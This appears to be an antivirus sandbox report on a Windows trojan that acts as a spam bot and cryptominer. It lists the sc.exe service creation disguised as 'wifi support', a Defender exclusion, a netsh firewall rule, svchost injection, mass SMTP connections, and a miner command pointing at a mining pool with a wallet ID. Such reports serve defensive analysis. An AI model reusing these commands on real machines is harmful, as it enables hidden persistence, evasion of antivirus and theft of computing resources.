Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\ctgbgacu] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ctgbgacu] 'ImagePath' = '%WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ctgbgacu] 'ImagePath' = '%WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe'
Creates the following services
- 'ctgbgacu' %WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe /d"<Full path to file>"
- 'ctgbgacu' %WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ctgbgacu' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\oiybtoid.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\oiybtoid.exe to %WINDIR%\syswow64\ctgbgacu\oiybtoid.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx##.###us-vadesecure.net':25
- 'sm#####.hosting.orange.pl':25
- 'mx##.mail.com':25
- 'cx#.##.#.cloudfilter.net':25
- 'mx#.##lkomsa.net':25
- 'so####1.sohu.com':25
- 'mx#.#eznam.cz':25
- 'mx####.concentric.com':25
- 'mx#######803.gslb.pphosted.com':25
- 'mx#.qq.com':25
- 'sm####n.orange.fr':25
- 'mx.##a.untd.com':25
- 'ma##.netuse.de':25
- 'mx#######a01.gslb.pphosted.com':25
- 'mx#######d01.gslb.pphosted.com':25
- 'mx##.##a.mailcore.net':25
- 'mx######64701.pphosted.com':25
- 'mx#.#ailgun.org':25
- 'mx.##exaero.com':25
- 'na#.###.#rotection.outlook.com':25
- 'mx##.##il.icloud.com':25
- 'ei####.#x.a.cloudfilter.net':25
- 'mx##.mb5p.com':25
- 'as##.#inet.net.au':25
- 'mx#.#angia.biz':25
- 'mx#######101.gslb.pphosted.com':25
- 'mx#######e02.gslb.pphosted.com':25
- 'ma####.wtxcoxmail.com':25
- 'mx#.#aver.com':25
- 'mx###02.web.de':25
- 'mx#.#xstorm.com':25
- 'ma##.wvva.net':25
- 'mx#######c01.gslb.pphosted.com':25
- 'mg.##tadv.net':25
- 'sc####.##g.1.0001.arsmtp.com':25
- 'mx######6dd01.pphosted.com':25
- 'mx##.###ud.vadesecure.com':25
- 'mx#####l.core.plus.net':25
- 'cu#######-3.in.mailcontrol.com':25
- 'mx.##.#tinternet.com':25
- 'mx###.comcast.net':25
- 'gr#########m.inbound.emailservice.io':25
- 'mx.####ght.synacor.com':25
- 'mx.########e.com.cust.b.hostedemail.com':25
- 'mx.###menergies.com':25
- 'r-####6.korea.com':25
- 'mx#######.mail.am0.yahoodns.net':25
- 'al######x-vip2.prodigy.net':25
- 'mx#######d04.gslb.pphosted.com':25
- 'mx.########e.prod.cloud.synchronoss.net':25
- 'al######x-vip1.prodigy.net':25
- 'a.##.##rnhardsson.com':25
- 'ma##.jjd.com':25
- 'ma####.smtproutes.org':25
- 'em##.freenet.de':25
- 'mx##.#-online.de':25
- 'mx###.mb5p.com':25
- 'ex######.lcwarriormail.com':25
- 'bo##########.mail.protection.outlook.com':25
- 'mx#######301.gslb.pphosted.com':25
- 'la#####ps04.suth.com':25
- 'mx#######501.gslb.pphosted.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx#######901.gslb.pphosted.com':25
- 'ma###.#ailinator.com':25
- 'mx#######f01.gslb.pphosted.com':25
- 'mx#######e01.gslb.pphosted.com':25
- 'mx#.#ate.com':25
- 'mx.###akthur.com':25
- 'mx####.carrierzone.com':25
- 'pi######-net.mx.av-mx.com':25
- 'mx#.##curenet.net':25
- 'ma##.#nivera.com':25
- 'aspmx.google.com':25
- 'fa###ool.xyz':10060
- 'ma##.#-email.net':25
- 'mx#.#anmail.net':25
- 'un#########derson.com.1.0001.arsmtp.com':25
- 'me###ycity.com':25
- 'pa####x.above.com':25
- '17#.#13.115.158':487
- 'sv####lfheim.top':443
- 'mx.####eatherford.com':25
- 'mx#######f02.gslb.pphosted.com':25
- 'mx#######701.gslb.pphosted.com':25
- '17#.#13.115.153':423
- 'mx#######b01.gslb.pphosted.com':25
- 'sb#######.#ail.protection.outlook.com':25
- 'ho#########.olc.protection.outlook.com':25
- 'al##.###mx.parsonline.net':25
- 'mx#######202.gslb.pphosted.com':25
- 'gmail-smtp-in.l.google.com':25
- 'mx#######201.gslb.pphosted.com':25
- 'sp######er.stellarllc.net':25
- 'mx##.#achser.com':25
- 'mx######91d01.pphosted.com':25
- 'eu#.###.#rotection.outlook.com':25
- 'sm###.#ail.medcity.net':25
- 'ma##.#ope-mail.com':25
- 'mx.#len.pl':25
- 'mx#######601.gslb.pphosted.com':25
- 'mx#######b02.gslb.pphosted.com':25
- 'mx###.m2bp.com':25
- 'mt##.##0.yahoodns.net':25
- 'mx#######001.gslb.pphosted.com':25
- 'google.com':80
- '17#.#13.115.157':423
- '17#.#13.115.156':423
- '80.#6.75.4':423
- '17#.#13.115.155':423
- '17#.#13.115.154':423
- 'aspmx.l.google.com':25
- 'fr#####.#inamail.sina.com.cn':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'ma##.jjd.com':25
- 'na#.###.#rotection.outlook.com':25
- 'fa###ool.xyz':10060
- 'mx#.#ailgun.org':25
- 'mx##.##a.mailcore.net':25
- 'mx#######001.gslb.pphosted.com':25
- 'ma####.smtproutes.org':25
- 'mx#.#angia.biz':25
- 'mx#.qq.com':25
- 'mx####.concentric.com':25
- 'mx#.#eznam.cz':25
- 'alt1.aspmx.l.google.com':25
- 'sp######er.stellarllc.net':25
- 'a.##.##rnhardsson.com':25
- 'mx#######.mail.am0.yahoodns.net':25
- 'mx.###menergies.com':25
- 'gr#########m.inbound.emailservice.io':25
- 'mx.##.#tinternet.com':25
- 'cu#######-3.in.mailcontrol.com':25
- 'mx#####l.core.plus.net':25
- 'sc####.##g.1.0001.arsmtp.com':25
- 'mg.##tadv.net':25
- 'ma##.wvva.net':25
- 'mx#######101.gslb.pphosted.com':25
- 'mx#.#xstorm.com':25
- 'al######x-vip1.prodigy.net':25
- 'al######x-vip2.prodigy.net':25
- 'sb#######.#ail.protection.outlook.com':25
- 'al##.###mx.parsonline.net':25
- 'ho#########.olc.protection.outlook.com':25
- 'pa####x.above.com':25
- 'un#########derson.com.1.0001.arsmtp.com':25
- 'ma##.#-email.net':25
- 'mx#.#anmail.net':25
- 'aspmx.google.com':25
- 'ma##.#nivera.com':25
- 'mx#.##curenet.net':25
- 'mx####.carrierzone.com':25
- 'ex######.lcwarriormail.com':25
- 'mx.###akthur.com':25
- 'ma###.#ailinator.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- '17#.#13.115.158':487
- 'bo##########.mail.protection.outlook.com':25
- 'aspmx.l.google.com':25
- '80.#6.75.4':423
- '17#.#13.115.155':423
- '17#.#13.115.157':423
- '17#.#13.115.154':423
- '17#.#13.115.153':423
- '17#.#13.115.156':423
- 'mt##.##0.yahoodns.net':25
- 'mx###.m2bp.com':25
- 'eu#.###.#rotection.outlook.com':25
- 'gmail-smtp-in.l.google.com':25
- 'me###ycity.com':25
- 'pi######-net.mx.av-mx.com':25
- 'mx#.#aver.com':25
- 'ma####.wtxcoxmail.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mx#######803.gslb.pphosted.com
- DNS ASK co###ntric.net
- DNS ASK mx####.concentric.com
- DNS ASK so##.com
- DNS ASK so####1.sohu.com
- DNS ASK se##am.cz
- DNS ASK mx#.#eznam.cz
- DNS ASK ho###olar.com
- DNS ASK te###msa.net
- DNS ASK mx#.##lkomsa.net
- DNS ASK co#.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK a.##.##rnhardsson.com
- DNS ASK ma##.com
- DNS ASK or##ge.pl
- DNS ASK sm#####.hosting.orange.pl
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK bo##mert.de
- DNS ASK ma##.netuse.de
- DNS ASK ju##.com
- DNS ASK mx.##a.untd.com
- DNS ASK ti###arner.com
- DNS ASK mx#######e02.gslb.pphosted.com
- DNS ASK ne###ape.net
- DNS ASK pf##er.com
- DNS ASK mx#######f02.gslb.pphosted.com
- DNS ASK mx#.qq.com
- DNS ASK cl####hannel.com
- DNS ASK mx##.mail.com
- DNS ASK be####rdsson.com
- DNS ASK wa##doo.fr
- DNS ASK we##v.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK cn##.org
- DNS ASK wi##bow.com
- DNS ASK ad###ero.com
- DNS ASK mx.##exaero.com
- DNS ASK co##ast.net
- DNS ASK mx#.#ailgun.org
- DNS ASK us#.edu
- DNS ASK mx######64701.pphosted.com
- DNS ASK su#.com
- DNS ASK so#.dk
- DNS ASK mx##.##a.mailcore.net
- DNS ASK ps##i.com
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK ai##.net
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK ea###link.net
- DNS ASK ma####.smtproutes.org
- DNS ASK up##.com
- DNS ASK ki###coe.net
- DNS ASK pp##eb.com
- DNS ASK st##art.com
- DNS ASK co##i.net
- DNS ASK mx#.#angia.biz
- DNS ASK sm####n.orange.fr
- DNS ASK ic##ud.com
- DNS ASK fo##ail.com
- DNS ASK gr####asinos.com
- DNS ASK sb###obal.net
- DNS ASK mc###son.com
- DNS ASK fa###reedom.net
- DNS ASK mg.##tadv.net
- DNS ASK sc##cs.org
- DNS ASK sc####.##g.1.0001.arsmtp.com
- DNS ASK em##l.cz
- DNS ASK ho###sdream.com
- DNS ASK cb##ews.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK wv##.net
- DNS ASK ma##.wvva.net
- DNS ASK gt##c.com
- DNS ASK ps#.com
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK pi###ail.com
- DNS ASK be###outh.com
- DNS ASK we#.de
- DNS ASK mx###02.web.de
- DNS ASK os#.edu
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK fb####therford.com
- DNS ASK mx.####eatherford.com
- DNS ASK wt###xmail.com
- DNS ASK ma####.wtxcoxmail.com
- DNS ASK al##y.com
- DNS ASK aa.com
- DNS ASK mx##.###ud.vadesecure.com
- DNS ASK mx######6dd01.pphosted.com
- DNS ASK te##eal.com
- DNS ASK mx#####l.core.plus.net
- DNS ASK ai#.com
- DNS ASK op###line.net
- DNS ASK mx.########e.prod.cloud.synchronoss.net
- DNS ASK be###outh.net
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK ro##rs.com
- DNS ASK mx#######.mail.am0.yahoodns.net
- DNS ASK ho##ail.de
- DNS ASK at#.net
- DNS ASK ko##a.com
- DNS ASK r-####6.korea.com
- DNS ASK fr####ergies.com
- DNS ASK ho##ail.se
- DNS ASK mx.###menergies.com
- DNS ASK mx##.##il.icloud.com
- DNS ASK mx.########e.com.cust.b.hostedemail.com
- DNS ASK mx.####ght.synacor.com
- DNS ASK gr###box.com
- DNS ASK gr#########m.inbound.emailservice.io
- DNS ASK mx###.comcast.net
- DNS ASK sy###r.co.uk
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK kr##ne.com
- DNS ASK cu#######-3.in.mailcontrol.com
- DNS ASK ao#.com
- DNS ASK me###net.co.uk
- DNS ASK an###fire.com
- DNS ASK mx#######d04.gslb.pphosted.com
- DNS ASK in###htbb.com
- DNS ASK ei####.#x.a.cloudfilter.net
- DNS ASK ei##om.net
- DNS ASK mx##.mb5p.com
- DNS ASK uc###edctr.org
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK wi####eeemail.com
- DNS ASK ma###nator.com
- DNS ASK ma###.#ailinator.com
- DNS ASK th###e.com.au
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK wm###nect.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ep##.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK su#####andglobal.com
- DNS ASK la#####ps04.suth.com
- DNS ASK ba####gunusual.com
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK bo###ros.com
- DNS ASK bo##########.mail.protection.outlook.com
- DNS ASK fa#####insurance.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK pi###and.net
- DNS ASK pi######-net.mx.av-mx.com
- DNS ASK re##ed.com
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK rt###cialty.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK mx#.#ate.com
- DNS ASK ta####eemail.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK na##.com
- DNS ASK mx.###akthur.com
- DNS ASK ti##jo.com
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK me###se.com.au
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK pa####x.above.com
- DNS ASK me###ycity.com
- DNS ASK un#####odanderson.com
- DNS ASK un#########derson.com.1.0001.arsmtp.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK ha##ail.net
- DNS ASK te###planet.net
- DNS ASK si##.com
- DNS ASK mx#.#anmail.net
- DNS ASK fa###ool.xyz
- DNS ASK me######einvestments.com
- DNS ASK aspmx.google.com
- DNS ASK un##era.com
- DNS ASK ma##.#nivera.com
- DNS ASK se###enet.net
- DNS ASK mx#.##curenet.net
- DNS ASK pe##ot.com
- DNS ASK mx####.carrierzone.com
- DNS ASK lc####iormail.com
- DNS ASK ex######.lcwarriormail.com
- DNS ASK ma####okstore.com
- DNS ASK sv####lfheim.top
- DNS ASK ma##.#-email.net
- DNS ASK mx#.#xstorm.com
- DNS ASK aspmx.l.google.com
- DNS ASK ch#####nsnational.org
- DNS ASK sn#f.fr
- DNS ASK mx#######202.gslb.pphosted.com
- DNS ASK ep###ames.com
- DNS ASK pa###nline.net
- DNS ASK al##.###mx.parsonline.net
- DNS ASK ba##.com
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK sb##o.org
- DNS ASK sb#######.#ail.protection.outlook.com
- DNS ASK es####adaskalos.net
- DNS ASK re##m.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK mx###.mb5p.com
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK fr##net.de
- DNS ASK em##.freenet.de
- DNS ASK to##ta.com
- DNS ASK jj#.com
- DNS ASK ma##.jjd.com
- DNS ASK ho##ail.fr
- DNS ASK ad##.com.au
- DNS ASK as##.#inet.net.au
- DNS ASK em##rq.net
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK at##bi.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK ve####nwireless.com
- DNS ASK mm#.com
- DNS ASK ro###tmail.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK jy##i.com
- DNS ASK mx###.m2bp.com
- DNS ASK ab##tt.com
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK to####utomotive.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK fr###ier.com
- DNS ASK o2.pl
- DNS ASK google.com
- DNS ASK mx.#len.pl
- DNS ASK up#.com
- DNS ASK pr####dlegal.com
- DNS ASK ma##.#ope-mail.com
- DNS ASK ri###now.com
- DNS ASK hc####lthcare.com
- DNS ASK sm###.#ail.medcity.net
- DNS ASK li#e.se
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK at#.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK da##ser.com
- DNS ASK mx##.#achser.com
- DNS ASK rr#.net
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK sp######er.stellarllc.net
- DNS ASK ol.com
- DNS ASK fr#####.#inamail.sina.com.cn
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ctgbgacu\oiybtoid.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ctgbgacu\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\oiybtoid.exe" %WINDIR%\SysWOW64\ctgbgacu\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ctgbgacu binPath= "%WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ctgbgacu "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ctgbgacu' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ctgbgacu\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\oiybtoid.exe" %WINDIR%\SysWOW64\ctgbgacu\
- '%WINDIR%\syswow64\sc.exe' create ctgbgacu binPath= "%WINDIR%\SysWOW64\ctgbgacu\oiybtoid.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ctgbgacu "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ctgbgacu
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
